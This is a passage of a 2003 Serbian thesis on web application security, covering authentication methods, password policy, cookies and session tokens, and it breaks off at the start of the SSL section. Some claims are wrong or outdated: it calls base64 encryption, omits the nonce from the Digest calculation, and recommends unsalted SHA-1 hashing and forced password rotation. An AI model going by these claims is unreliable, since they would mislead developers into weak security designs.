BEZBEDNOST WEB APLIKACIJA

Autor:
Stevan Džigurski

Novi Sad, 2003.

 SADRŽAJ
1. UVOD...........................................................................................................................................................4
1.1. OSNOVNI BEZBEDNOSNI KONCEPTI................................................................................................................5
1.2. WEB APLIKACIJE.......................................................................................................................................6
1.3. HTTP I BEZBEDNOST WEB APLIKACIJA........................................................................................................7
2. AUTENTIFIKACIJA.................................................................................................................................8
2.1. KORISNIČKA AUTENTIFIKACIJA.....................................................................................................................8
2.1.1. HTTP Basic...................................................................................................................................8
2.1.2. HTTP Digest.................................................................................................................................9
2.1.3. Autentifikacija na osnovu formi..................................................................................................10
2.1.4. Digitalni sertifikati (SSL i TLS)..................................................................................................11
2.2. ENTITETSKA AUTENTIFIKACIJA....................................................................................................................11
2.2.1. Autentifikacija infrastrukture......................................................................................................11
2.3. SISTEMI AUTENTIFIKACIJE ZASNOVANI NA LOZINKAMA....................................................................................12
3. UPRAVLJANJE KORISNIČKIM SESIJAMA.....................................................................................14
3.1. COOKIES................................................................................................................................................14
3.2. SESIJSKI TOKENI (SESSION TOKENS)...........................................................................................................15
3.3. SSL I TLS ...........................................................................................................................................16
3.3.1. Kako SSL i TLS rade?.................................................................................................................17
3.3.2. SSL pregovaranje sa autentifikacijom samo servera .................................................................17
3.3.3. SSL sa klijentskom i serverskom autentifikacijom......................................................................18
4. KONTROLA PRISTUPA I AUTORIZACIJA.......................................................................................19
4.1. DISKRETNA KONTROLA PRISTUPA................................................................................................................19
4.2. OBAVEZNA (MANDATORY) KONTROLA PRISTUPA ..........................................................................................20
4.3. KONTROLA PRISTUPA ZASNOVANA NA ULOGAMA (RBAC).............................................................................20
5. PRAĆENJE RADA - EVENT LOGGING.............................................................................................22
5.1. ŠTA UNETI U LOG ZAPIS............................................................................................................................22
5.2. OBRADA LOG ZAPISA................................................................................................................................23
6. VALIDACIJA PODATAKA.....................................................................................................................24
6.1. STRATEGIJE VALIDACIJE.............................................................................................................................24
6.1.1. Prihvati samo poznate validne podatke......................................................................................24
6.1.2. Odbaci podatke za koje se zna da nisu validni...........................................................................25
6.1.3. Saniraj sve podatke.....................................................................................................................25
6.2. NIKADA SE NE OSLANJATI NA VALIDACIJU PODATAKA SA STRANE KLIJENTA........................................................25
7. BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA........................................................26
7.1. NAPADI NA KORISNIKE..............................................................................................................................26
7.1.1. Cross-site scripting.....................................................................................................................26
7.2. NAPADI NA SISTEM...................................................................................................................................28
7.2.1. Direktne SQL naredbe................................................................................................................28
7.2.2. Direktne OS naredbe...................................................................................................................30
7.2.3. Otkrivanje putanje dokumenta....................................................................................................31
7.2.4. Uključivanje udaljenih datoteka.................................................................................................31
7.2.5. Nulti bajtovi................................................................................................................................32
7.2.6. URL kodiranje.............................................................................................................................33
7.3. MANIPULACIJA PARAMETRIMA....................................................................................................................35
7.3.1. Manipulacija Cookie-a...............................................................................................................35

2
 7.3.2. Manipulacija HTTP zaglavljima................................................................................................36
7.3.3. Manipulacija poljima HTML formi............................................................................................37
7.3.4. URL manipulacija.......................................................................................................................38
7.4. OSTALI NAČINI MANIPULACIJE....................................................................................................................40
7.4.1. Konfiguracija sistema.................................................................................................................40
7.4.2. Komentari u HTML.....................................................................................................................40
7.4.3. Stari, bekapovani i fajlovi bez reference.....................................................................................41
7.4.4. Debug naredbe............................................................................................................................42
7.4.5. Default (inicijalni) nalozi...........................................................................................................43
8. PROBLEMI PRIVATNOSTI...................................................................................................................44
8.1. OPASNOSTI PRI UPOTREBI JAVNIH WEB BROWSER-A.......................................................................................44
8.2. UPOTREBA LIČNIH PODATAKA.....................................................................................................................44
8.3. OPCIJA «BROWSER HISTORY»...................................................................................................................44
9. ZAKLJUČAK..........................................................................................................................................45
10. LITERATURA.......................................................................................................................................46
REČNIK.......................................................................................................................................................47

3
1.UVOD

Ekspanzija popularnosti Interneta koja se odigrala u prethodnoj deceniji, kao i

promovisanje Web browsera kao platforme za distribuciju aplikacija, doveli su do toga da
razvoj Web aplikacija predstavlja oblast u kojoj se računari danas najviše koriste.

Web bezbednošću se oduvek bavila mala grupa ljudi koja se obicno fokusirala na
bezbednost mreža i operativnih sistema. Pojavom sve složenijih Web aplikacija i Web
servisa kao i činjenica da se na njima nalazi velika količina poverljivih informacija
povlači sa sobom veliku odgovornost programera koji ih kreiraju.

Rad se sastoji iz više celina. U prvom poglavlju predstavljeni su osnovni

bezbednosni koncepti, pojmovi Web aplikacija i Web servis, kao i mesto i uloga HTTP
protokola u bezbednosti Web aplikacija.

Tema drugog poglavlja je autentifikacija kao najosetljiviji deo Web aplikacije.

Predstavljeni su tipovi autentifikacije, načini na koji funkcionišu, kao i prednosti i mane
svakog.

Naredno poglavlje se odnosi na mehanizme upravljanja korisničkim sesijama, bez

kojih se ne može zamisliti ni jedna Web aplikacija.

Naredna tri poglavlja se odnose na kontrolu pristupa i autorizaciju, praćenje rada

(logging), i validaciju podataka.

U poglavlju «Bezbednosni problemi Web aplikacija» opisani su načini na koji se

vrše «napadi» na Web aplikaciju, kao i rešenja za njihovo sprečavanje ili ublažavanje.

Osmo poglavlje diplomskog rada bavi se privatnošću korisnika Web aplikacija.

U poslednjem poglavlju ovog rada prikazana je konkretna realizacija intranet Web

aplikacije namenjena timskom radu na projektima, uz osvrt na prethodno izloženu
metodologiju.

4
1.1.Osnovni bezbednosni koncepti
Osnovni bezbednosni koncepti koji su važni za informacije na Internetu su
raspoloživost, integritet i poverljivost.

Raspoloživost se primarno definiše kao mogućnost sistema da pruži uslugu

ovlašćenom korisniku. Ovlašćeni korisnici su korisnici kojima su namenjene usluge
sistema kako je naznačeno u njegovoj specifikaciji. Svi ostali korisnici osim ovlaštenih
korisnika smatraju se neovlaštenim korisnicima.

Bezbednost
informacija

Poverljivost Integritet Raspoloživost

prevencija prevencija prevencija
neovlašćenog neovlašćene neovlašćenog
otkrivanja modifikacije zadržavanja
informacija informacija informacija

Integritet predstavlja prevenciju neovlašćene modifikacije, brisanja ili uništavanja

elemenata sistema. Integritet je narušen u slučaju napada, koji obično izvršavaju
neovlašćeni korisnici, ali koji takođe može izvršiti i ovlašćeni korisnici koji
zloupotrebljavaju svoja ovlašćenja. Zbog toga integritet karakteriše mogućnost sistema da
se odupre napadima.

Poverljivost je mogućnost sistema da onemogući neovlašćenim korisnicima

pristup poverljivim informacijama. U stvarnosti time se definiše do koje mere neka
informacija treba da je dostupna, odnosno nedostupna neovlašćenim korisnicima.
Poverljivost se takođe može posmatrati u širem smislu, odnosno kao prevencija pružanja
usluge neovlašćenim korisnicima, čak i ako pružanje takve usluge ne bi značilo štetu za
ovlašćene korisnike ili otkrivanje tajnih informacija.

Bezbednosni koncepti koji se odnose na osobe koje koriste informacije su

autentifikacija, autorizacija i neporecivost.

Da bi učinili informaciju dostupnom onome kome je potrebna i kome se može

verovati koriste se autentifikacija i autorizacija. Autentifikacija je proces utvrđivanja da
li je korisnik, odnosno entitet, ono što tvrdi da jeste. Autorizacija podrazumeva proveru
da li određeni korisnik (ili sistem) ima dozvolu da vrši određenu akciju, pod
pretpostavkom da se prethodno autentifikovao. Neporecivost je mogućnost sistema da
onemogući korisniku poricanje prethodno izvršene akcije.

5
1.2.Web aplikacije
Web aplikacije imaju klijent/server arhitekturu koja omogućuje interakciju sa
korisnicima ili drugim sistemima koristeći HTTP protokol. Za korisnike, klijent je
najčešće Web browser kao što je Internet Explorer ili Netscape Navigator. Krajni korisnik
vidi Web stranice i on je sposoban da vrši interakciju slanjem izbora. Funkcije koje se
izvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visoko
sofisticiranih aplikacija koje vrše npr. prodaju u realnom vremenu, B2B i B2C...

Tehnologije koja omogućavaju rad Web aplikacija veoma se brzo razvijaju.

Tradicionalno jednostavne aplikacije, pravljene sa CGI (Common Gateway Interface),
obično su pokretane na Web serveru povezane na jednostavnije baze podataka ( takodje
na istom serveru). Moderne aplikacije su tipično napisane u Javi (ili sličnim jezicima ) i
pokretane na aplikacionim serverima povezane sa više baza podataka.

Nivo prezentacije Aplikacioni nivo Nivo podataka

Nivo prezentacije je odgovoran za prezentovanje podataka ka krajnjem korisniku

ili sistemu. Web server pruža podatke, a Web browser ih «slaže» u čitljivu formu koju
korisnik može da interpretira. To takodje dopušta korisniku da odgovori slanjem
povratnih parametara koje Web server propušta kroz aplikaciju. Ovaj nivo prezentacije
uključuje Web servere kao što su npr. Apache i MS IIS. On takodje može uključiti
komponente aplikacije koje kreiraju izgled stranice.

Aplikacioni nivo je pokretač Web aplikacije. On omogućava realizaciju poslovne

logike, obradu ulaznih podataka, donošenje odluka, upotreba više podataka i
prezentovanje istih do nivoa prezentacije za slanje korisniku. Nivo aplikacije može
uključiti tehnologije kao što su: CGI, Java, .NET servisi ili PHP.

Nivo podataka se koristi za skladištenje podataka potrebnih za aplikaciju i

odgovoran je za privremene i stalne podatke. Savremeni sistemi skladište podatke u XML
formatu radi lakše komunikacije sa drugim sistema.

Web servisi predstavljaju kolekciju funkcija koje su upakovane kao celina i

publikovane na mrežu za upotrebu od strane drugih programa. Web servisi su namenjeni
za kreiranje otvorenih distributivnih sistema koji omogućavaju kompanijama i
individualnim korisnicima da brzo i jeftino učine da svoje informacije dostupnim širom
svetske mreže. Jedan Web servis može koristiti drugi da napravi bolje karakteristike za
krajnjeg korisnika. Web servisi za iznajmljivanje automobila i avio prevoz su primeri.
Web servisi se zasnivaju na XML-u (extensible Markup Language) i SOAP-u (Simple
Object Access Protocol).

6
1.3.HTTP i bezbednost Web aplikacija
Sa tehničke strane, osnovni protokol na mreži je HTTP protokol. Njegova
jednostavnost načinila ga je vrlo popularnim. Protokol radi na aplikacionom nivou.
Klijent šalje zahtev HTTP serveru, HTTP server interpretira zahtev i šalje odgovarajući
odgovor klijentu.

HTTP klijent HTTP server

Aplikacioni Aplikacioni
nivoNivo nivoNivo
prezentacij prezentacij
eNivo eNivo
sesijeTrans sesijeTrans
portni portni
nivoMrežni nivoMrežni
nivoNivo nivoNivo
podatakaFiz podatakaFiz
ički nivo ički nivo

HTTP zahtev predstavljen preko OSI referentnog modela

Kada je Web aplikacija postavljena na Web server, korisnici šalju HTTP zahteve
za određene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bez
ikakvih prepreka prolaze kroz firewall-ove zato što su oni deo legalnog HTTP zahteva.
Završni udarac su dali Web servisi (REST, XML i SOAP), koji omogućavaju da se kroz
samo jedan port provuku razni formati dokumenata.

7
 2.AUTENTIFIKACIJA
Autentifikacija je proces utvrđivanja da li je korisnik, odnosno entitet, ono što
tvrdi da jeste.

Često dolazi do zabune šta je autentifikacija, a šta je upravljanje sesijama (session

management). Korisnici su obično autentifikovani sa korisničkim imenom i lozinkom ili
sličnim mehanizmom. Kada je prvi put uspešno izvršena autentifikacija, sesijski token
(session token) je postavljen u korisnikov browser, skladišten u cookie. To omogućava
browseru da pošalje sesijski token svaki put kada je upućen novi zahtev, što predstavlja
entitetsku autentifikaciju. Korisnička autentifikacija se vrši samo jednom u toku sesije,
dok se entitetska autentifikacija vrši prilikom svakog zahteva.

Postoje dva tipa autentifikacije:

•Korisnička autentifikacija je proces određivanja da li je korisnik ono što tvrdi da

jeste.
•Entitetska autentifikacija je proces određivanja da li je entitet (sesijski token) ono što
tvrdi da jeste.

Razmotrimo situaciju kada korisnik pristupa stranicama za administraciju jednog

elektronskog trgovinskog sajta. Posle uspešno obavljene korisničke autentifikacije sistem
vrši entitetsku autentifikaciju koja je potrebna u slucaju da želimo da pređemo na neku
drugu stranicu, a da izbegnemo ponavljanje korisničke autentifikacije.

2.1.Korisnička autentifikacija

2.1.1.HTTP Basic

HTTP protokol definiše jednostavan okvir za autentifikaciju. HTTP klijent, npr.

Web browser šalje zahtev serveru za pristup zaštićenim stranicama, Web server vraća
klijentu HTTP 401 statusni kod:
HTTP/1.1 401 Authorization Required

Zatim klijent šalje drugi zahtev ovaj put uključujući Authenticate header koji
sadrži njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslaće
traženu stranicu, u suprotnom šalje odgovor 401 neautorizovanog pristupa da obavesti
klijenta da je autentifikacija propala.

Postoji više načina za obavljanje korisničke autentifikacije preko HTTP-a.

Najjednostavniji metod je HTTP Basic autentifikacija.

8
 HTTP Basic autentifikacija se zasniva na modelu da se korisnik mora
autentifikovati sa korisničkim imenom i lozinkom (koji se obično unose u dialog box) za
svaki domen. Oni se šalju serveru odvojeni karakterom “:”, kriptovani base64 metodom.

HTTP Basic autentifikacija je nesiguran metod filtriranja neautorizovanog

pristupa resursima na HTTP serveru. Ona je bazirana na pretpostavci da je veza između
klijenta i servera sigurna. Takođe, ova autentifikacija ima problem da ne postoji
mehanizam za “logout”, što pri upotrebi jednog Web browser-a od strane više korisnika
stvara problem.

2.1.2.HTTP Digest

Postoje dve forme HTTP Digest autentifikacije koje su napravljene da spreče

problem presretanja korisničkog imena i lozinke. Originalna specifikacija je razvijena
kao jedna ekstenzija za HTTP 1.0, a unapređena je za HTTP 1.1. Svrha HTTP Digest
autentifikacione šeme je da omogući korisnicima da dokažu svoje korisničko ime i
lozinku bez otkrivanja aktuelne lozinke. HTTP Digest mehanizam koristi MD5 hash
algoritam. Mehanizam HTTP Digest autentifikacije razvijen je da omogući generalnu
upotrebu, jednostavnu implementaciju i autentifikacioni mehanizam koji se može koristiti
preko kanala koji nisu kriptovani.

Važan deo pri sprovođenju autentifikacije je slanje dodatnih podataka. U slučaja

da se sa zahtevom ne šalju jedinstveni podaci napadač bi bio u mogućnosti da
jednostavno ponovi digest.

Proces autentifikacije počinje sa odgovorom 401 - neautorizovani pristup, kao i

kod HTTP Basic autentifikacije. Zagljavlje WWW-Authenticate header, koje zahteva
eskplicitnu autetifikaciju se dodaje, nakon čega se generiše dodatni parametar nonce i
izračunava digest.

Ovako izgleda izračunavanje:

1.string “A1” se sastoji od korisničkog imena, oblasti i lozinke koji su spojeni
dvotačkama :
owasp:users@owasp.org:password,
2.Izračunava se MD5 hash ovih stringova (128 bitni heksadecimalni izlaz),
3.String “A2” se sastoji od HTTP metoda i URI-a (npr. GET:/index.php),
4.Izračunava se MD5 hash funkcija od “A2”,
5.Spajaju se A1 i A2 sa dvotačkama,
6.Izračunava se MD5 hash funkcija ovakvog stringa.

Kao što je već rečeno, HTTP 1.1 specificira unapređenu digest šemu, koja pruža dodatno
zaštitu za:
-napade ponavljanjem,
-obostranu autentifikaciju,
-integritet zaštite.

9
 Digest šema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iz
toga što napadač može da ponovi tačno izračunati digest za isti resurs, te da pošalje isti
zahtev serveru. Poboljšana digest šema u HTTP 1.1 uključuje NC parametar ili brojanje
nonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi se
uvećava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri
da li je NC veći od poslednje primljene NC vrednosti koju je primio, te da ne uvaži
ponovljene zahteve. Druga poboljšanja HTTP 1.1 šeme su integritet zaštite i obostrana
autentifikacija, što klijentima omogućuje da autetifikuje servere, kao i serverima da
autentifikuje klijente.

2.1.3.Autentifikacija na osnovu formi

Umesto oslanjanja na autentifikaciju na nivou protokola, Web bazirane aplikacije

koriste kod sadržan u samim Web stranicama. Ovo omogućava projektantima da
predstave zahtev za korisničkim podacima (korisničko ime i lozinka) kao normalni deo
aplikacije sa svim HTML mogućnostima koje se odnose na internacionalizaciju i
pristupačnost.

Od suštinske važnosti je da se forme autetifikacije podnose upotrebom HTTP

POST zahteva, detaljniji pregled će biti dat u daljem tekstu. HTTP GET zahtev se
pojavljuje u history-u korisnikovog browsera, tako da korisničko ime i lozinka mogu biti
vidljivi i ostalim korisnicima istog browsera.

Uobičajena šema u Web aplikacijama je da se korisniku prethodno popune polja

kad god je to moguće. Korisnik koji se vraća na prethodno korišćenu aplikaciju može
želeti da potvrdi informacije o svom profilu. Većina aplikacija će prethodno popuniti
formu sa trenutno važećim podacima i zahtevati od korisnika da izmeni podatke koji su
netačni. Polja sa lozinkama aplikacija nikada ne treba da popunjava. Najbolji pristup je
da se ostavi prazno polje za lozinku i da se od korisnika zahteva da potvrdi trenutnu
lozinku, kao i dva polja za unos i potvrdu nove lozinke. U većini slučajeva stranica za
izmenu lozinke treba da se nalazi odvojeno od ostalih podataka vezanih za korisnički
profil. Ovakav pristup ima dve prednosti. Korisnici mogu nepažnjom da ostave prethodno
popunjenu formu na ekranu dopuštajući pri tome, nekome sa fizičkim pristupom
računaru, da otkrije lozinku. Isto tako, ako aplikacija dopusti (kroz neki bezbednosni
propust) drugom korisniku da vidi stranicu sa prethodno popunjenom lozinkom za nalog
drugog korisnika, “View Source” će ponovo otkriti lozinku u vidu običnog teksta.

Primedba: autentifikacija zasnovana na formama zahteva od projektanata sistema

da izgrade autentifikacioni protokol koji će se nositi sa istim problemima koji se
pravazilaze upotrebom HTTP digest-a. Projektanti moraju obratiti pažnju na sledeće:
ukoliko nije upotrebljen SSL, forme podnete upotrebom HTTP GET ili HTTP
POST zahteva, podatke (korisničko ime i lozinku) prenose u vidu običnog teksta.

10
 2.1.4.Digitalni sertifikati (SSL i TLS)

SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede
klijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizama
mogu se naći u SSL i TLS delovima ovog rada. Digitalni sertifikati su mehanizmi za
autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju ključeva u
kriptografskim razmenama (uključujući i autentifikaciju po potrebi). Razni formati
sertifikata nalaze se u upotrebi. Najšire prihvaćen je X509 v3 sertifikat International
Telecommunication Union-a (pogledati RFC 2459). Još jedan raširen kriptografski
protokol za poruke je PGP. Iako su delovi komercijalnog PGP-a svojinski zaštićeni,
OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC 2440).

Digitalni sertifikati se najviše koriste u Web sistemima pri konektovanju na

bezbedne (secure) Web sajtove (SSL). Većina Web sajtova radi isključivo sa
autentifikacijom na serverskoj strani, čak i ako je autentifikacija na strani klijenta
moguća.

Za sisteme visoke bezbednosti autentifikacija na klijentskoj strani je neophodna,

tako da je potrebno postaviti i šemu za distribuciju sertifikata.

2.2.Entitetska autentifikacija
Upotreba cookie-a
Cookie-ji se često koriste za autentifikaciju korisničkog browser-a, kao deo mehanizma
za upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi na
upravljanje sesijama.

Napomena o referer zaglavlju:

Referer zaglavlje se šalje sa HTTP zahtevom klijenta da bi se utvrdilo na koj način je
klijent došao do URL-a tražene stranice. Ovakav način na prvi pogled može da se učini
zgodnim za proveru da li korisnik pratio korake u određenoj aplikaciji ili je URL dobio sa
poverljivog domena (trusted domain). Međutim, ovakvo zaglavlje stvara korisnikov
browser, tako da korisnik može da menja ovo zaglavlje, te ga zbog toga ne bi trebalo
koristiti za autentifikaciju.

2.2.1.Autentifikacija infrastrukture

DNS nazivi
Česte su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IP
adrese ili DNS nazivi su naizgled načini za autentifikaciju. Međutim usled specičfinih
nedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino za
brzu i letimičnu proveru.

Prevara sa IP adresama

11
 Prevare sa IP adresama moguće su pod određenim okolnostima, tako da bi projektanti
trebalo to da imaju na umu. U opštem slučaju trebalo bi koristiti gethostbyaddr() , umesto
gethostbyname(). Za jaču autentifikaciju treba upotrebiti X.509 sertifikat ili
implementirati SSL.

2.3.Sistemi autentifikacije zasnovani na lozinkama

Korisnička imena i lozinke su danas najčešći način autentifikacije. Usled različitih
zahteva koje šema održavanja lozinki treba da zadovolji, lozinke su često najslabija
karika u arhitekturi autentifikacije. Ovo je najviše zbog ljudskog faktora, te se samo
donekle može ublažiti tehničkim sredstvima. U daljem tekstu su data različita rešenja,
svaka sa svojim prednostima i manama. Kao i uvek, sistemi za implementaciju
autentifikacije bi trebalo da procenjuju rizik i prednosti za svaki od mogućih modela
pretnje.

Korisnička imena
Iako korisnička imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loše uvesti
neka ograničenja za korisnička imena. Ime koje je na neki način izvedeno od
korisnikovog ličnog imena može napadaču da nagovesti o kome se radi i sl. Druga
korisnička imena, kao na primer, broj socijalnog ili poreski broj mogu imati i zakonske
posledice. Email adrese nisu dobra korisnička imena iz razloga opisanih u daljem tekstu.

Skladištenje korisnčkih imena i lozinki

Svaki sistem mora da sadrži skladište sa korisničkim imenima i odgovarajućim
lozinkama koje će se koristiti u procesu autentifikacije. Ovakav pristup se još uvek
primenjuje kod Web aplikacija koje koriste ugrađena skladišta podataka u operativnom
sistemu, kao što je Windows NT. Ovakva skladišta moraju biti bezbedna. Lozinke ne bi
trebalo da budu dostupne administratorskim korisnicima na uvid. Deosta je česta tehnika
da se nad lozinkama koriste hash fukcije (kao što je SHA-1).

Sprovođenje kvaliteta lozinki

Pojam kvaliteta lozinke se odnosi na entropiju lozinke i od presudne je važnosti za
bezbednost korisničkih naloga. Dobru lozinku je nemoguće pogoditi. Tipična lozinka ima
najmanje osam karaktera, pri čemu jedan alfanumerik, upotreba malih i velikih slova,
jedan specijalan karakter (a da nije u A-Z ili 0-9). U Web aplikacijama posebnu pažnju
treba posvetiti metakarakterima.

Zaključavanje lozinki
Ako se napadaču ne spreči, on lozinke nagađa veći broj puta. Vrlo je verovatno da će
pogoditi.. Mehanizme sprečavanja nagađanja lozinke trebalo bi postaviti tako da
blokiraju nalog u slučaju kada broj pokušaja logovanja pređe neku unapred zadatu
vrednost. Preporučljiv broj pokušaja logovanja je pet. Ovakvi mehanizmi, međutim imaju
nedostatke. Moguće je da napadač pokuša da pogodi veći broj slučajno izabranih lozinki
na poznatim nalozima te tako zaključa ceo sistem korisnika. Kako sistem zaključavanja
lozinki treba da štiti od napada, logična strategija je da se korisnički nalozi zaključaju na

12
nekoliko sati. Na ovaj način napadač će se značajno usporiti, dok će pravim korisnicima
pristup biti i dalje omogućen.

Starenje i istorija lozinki

Rotacija lozinki je u opštem slučaju dobra stvar. Ovo daje lozinkama odgovarajući
životni vek. Naravno ako se od naloga koji već “provaljen” zatraži da obnovi svoju
lozinku sve prednosti nestaju.

Sistem za resetovanje lozinki

Sistemi za resetovanje lozinki su u širokoj upotrebi. Oni omogućavaju korisniku da
resetuje svoju lozinku odmah bez pozivanja administratora. Ovo dovodi do izlaganja
korisničkog naloga riziku u slučajevima kada je lozinku potrebno promeniti korisniku
koji ne može da se autentifikuje.

Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definiše skup pitanja koja
se postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj
formi. Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, a
ne da koristi ista pitanja za sve korisnike. Na ovakav način stepen entropije se znatno
uvećava.

Potrebno je obratiti pažnju da se u okviru iste sesije nikada ne podnose na potvrdu

zajedno pitanja i odgovori. Na primer za vreme registracije klijentu se može slati ili
pitanje ili odgovor, ali nikada oba zajedno. U slučaju kada sistem koristi email adrese za
dostavljanje novih lozinki korisnicima, lozinke bi trebalo da se promene prvi put kada se
novi korisnik loguje sa promenjenom lozinkom.

13
 3.UPRAVLJANJE KORISNIČKIM SESIJAMA
HTTP je protokol bez održavanja stanja (stateless), jer se konekcija klijenta i
servera uspostavlja prilikom upućivanja klijentovog HTTP zahteva i dobijanja odgovora
od servera, a u ostalim vremenskim periodima je nema.

Primenom mehanizma stanja omogućeno je da višestruki korisnički zahtevi budu

međusobno povezani preko “sesije”. Sposobnost razdvajanja i prepoznavanja akcija
korisnika za određene sesije je kritična za Web sigurnost. Dok postoji preferirani cookie
mehanizam (RFC 2965) za izgrdnju sistema zasnovanih na korisničkim sesijama, stepen
bezbednosti sistema će zavisiti od samog Web programera, odnosno od načina na koji
primenjuje cookie mehanizam.

Većina mehanizma stanja, token sesije (session token) se prenosi između HTTP
servera i klijenta. On je najčešće smešten u cookie, može se prenositi i preko statičnog
URL-a, kao što može biti sakriven u HTML kodu Web stranice ili u kombinaciji ovih
metoda.

3.1.Cookies
Često ospravan mehanizam koji je neophodan za primenu mnogih komercijalnih
Web aplikacija (online banking i e-commerce). Cookie-ji nisu dizajnirani da čuvaju
korisničko ime i lozinku ili bilo koju osetljivu informaciju. Veoma je bitno korektno ih
koristiti. Cookie-ji su razvijeni od strane Neatscape-a, a sada su specificirani u RFC 2965.
Postoje dve kategorije cookie-a: sigurne ili nesigurne, trajne ili privremene, dajući četiri
posebna tipa cookie-a:

•trajne i sigurne,
•trajne i nesigurne,
•privremene i sigurne,
•privremene i nesigurne.

Trajni cookie-ji su smešteni u tekst dokumentu na strani klijenta i traju do isteka

roka (expiry date) koji je postavljen. Privremeni cookie-ji su smešteni u RAM-memoriji
na strani klijenta. Uništavaju se kada se browser isljuči ili eksplicitno kada se pokrene
log-off skript.

Sigurni cookie-ji mogu biti poslati samo preko HTTPS (SSL). Dok nesigurni
cookie-ji mogu biti poslati i preko HTTP-a i preko HTTPS-a. Naziv “sigurni” često
dovodi do zablude, jer on obezbeđuje sigurnost transporta. Za svaki podatak poslat
klijentu smatra se da je pod kontrolom krajnjeg korisnika, bez obzira na korišćene
transportne mehanizme.

Cookie-ji mogu biti poslati korišćenjem dva glavna metoda, preko HTTP
zaglavlja i JavaScript-om. Cookie-ji ne mogu biti čitani niti upisivani preko nekog drugog

14
 DNS domena. Ako je sve korektno klijent pri komunikaciji sa domenom A ne može čitati
cookie-je domena B, ali postoji dosta slabih tačaka u popularnim Web klijentima koji to
dozvoljavaju. Ako se cookie-ji šalju HTTP-om, server odgovara na zahtev sa dodatnim
zaglavljem. To zaglavlje govori klijentu da doda te informacije u klijentov cookie
dokument ili smesti tu informaciju u RAM. Posle toga svi zahtevi za taj URL od strane
browsera sadržaće cookie informaciju kao dodatno zaglavlje u zahtevu.

Tipičan cookie koji skladišti sesijski token (session token) izgleda ovako:

Domen Putanja Sigurnost Istek vremena Ime Vrednost

www.redhat.com / FALSE 1154029490 Apache 64.3.40.151.16
018996349247
480

Kolone ove tabele ilustruju šest parametara koji se skladište u cookie.

Domen: domen Web sajta koji je kreirao i koji može da čita promenjivu.

Putanja: ovaj atribut ograničava vidljivost pojedinih direktorijuma na Web serveru. Ako
imamo stranicu http://www.redhat.com/reference , a putanja je /reference, cookie će biti
poslat samo za stranice iz direktorijuma /reference. Atribut / nam govori da se putanja
odnosi na ceo sajt.

Sigurnost: vrednost TRUE/FALSE se odnosi na to da li je SSL konekcija potrebna za

dati domen da se pristupi datoj varijabli.

Istek roka: predstavlja Unix-ovo vreme trajanja varijable. Unix-ovo vreme je definisano
kao broj sekundi od 00:00:00 GMT Jan 1, 1970. Izostavljanje ovog parametra browser će
tretirati tako što će cookie smestiti u RAM i izbrisati je kada se browser isljuči.

Ime: ime varijable, u ovom slučaju Apache.

Dakle, vrednost cookie imena Apache je 64.3.40.151.16018996349247480 i biće uništena

27. jula 2006. za Web sajt čiji je domen http://www.redhat.com.
Za jedan domen maksimum cookie-a je 20, a maksimalna veličina je 4kb.

3.2.Sesijski tokeni (Session Tokens)

Svi sesijski tokeni (nezavisno od mehanizma stanja) moriju biti jedinstveni,
nepredvidivi i otporni na inverzno projektovanje. Sesijski token treba da koristi pouzdan
izvor slučajnih karaktera (kao što su generator pseudoslučajnih brojeva, Yarrow, EGADS,
itd.). Dodatno, za veću sigurnost, sesijski tokeni treba da budu vezani na neki način za
specifičnog HTTP klijenta da spreče upade i replay napade. Generalno algoritmi sesijskih
tokena ne bi trebalo da koriste promenljive koje sadrže korisnikove personalne
informacije kao npr. korisničko ime, lozinku, adresu i slično.

15
 Sesijski tokeni koji koriste najjače kriptografske algoritme mogu biti razbijeni ako
dužina ključa nije dovoljno velika. Napadači mogu jednostavno korišćenjem automatskih
skriptova “proći kroz” sve mogućnosti. Ključevi tokena moraju biti dovoljno veliki da
spreče ovakve brutalne napade, ali imajući na umu izračunavanje algoritama i smanjenje
širine propusnog opsega dužina ključeva će biti smanjena.

Sesijski tokeni kod kojih ne dolazi do isteka roka validnosti na HTTP serveru
mogu omogućiti eventualnom napadaču da pogodi ili brutalno napadne validni
autentifikacioni sesijski token. Jedan primer je opcija “Zapamti me” na mnogim manjim
e-komerc sajtovima. Ako je uhvaćen cookie nekog korisnika, tada napadač može koristiti
token sesije da dodje do tog korisničkog naloga. Dodatno, tokeni sesije mogu biti keširani
ili upisani u log listu na proxy serveru, koji ako im vreme isteka na HTTP serveru ne
istekne mogu bi takođe iskorišćeni od strane napadača.

Da bi sprečili presretanja i brutalne napade na sesije HTTP server može uništavati

i regenerisati tokene i time dati napadaču manje vremena da ponovo iskoristi legitiman
token.

Velik broj Web sajtova zabranjuju ponovno neobuzdano nagađanje lozinke (npr.
HTTP server privremeno zatvori korisnički nalog ili zabrani pristup sa te IP adrese).
Napadač može pokušavati stotinama ili hiljadama puta da proba različite tokene da
pošalje preko URL-a ili cookie-a bez ograničenja servera.

Kritične akcije koje vrši korisnik kao što su transfer novca ili značajne narudžbine
trebalo bi da zahtevaju od korisnika reautentifikaciju ili generisanje novog sesijskog
tokena pre obavljanja važne akcije.

Sa popularnošću internet kioska i deljivih računarskih okruženja, sesijski tokeni

se izlažu novom riziku. Browser uništava session cookie samo po završetku njegovog
rada. Neophodno je da se sesijski tokeni unište kada korisnik napušta aplikaciju. Takodje
je neophodno da u aplikaciji postoji opcija logout.

3.3.SSL i TLS
Secure Socket Layer (SSL) protokol je projektovan od strane Netscape-a, u okviru
Netscape Communicator browsera. SSL je najšire upotrebljavan bezbednosni protokol, i
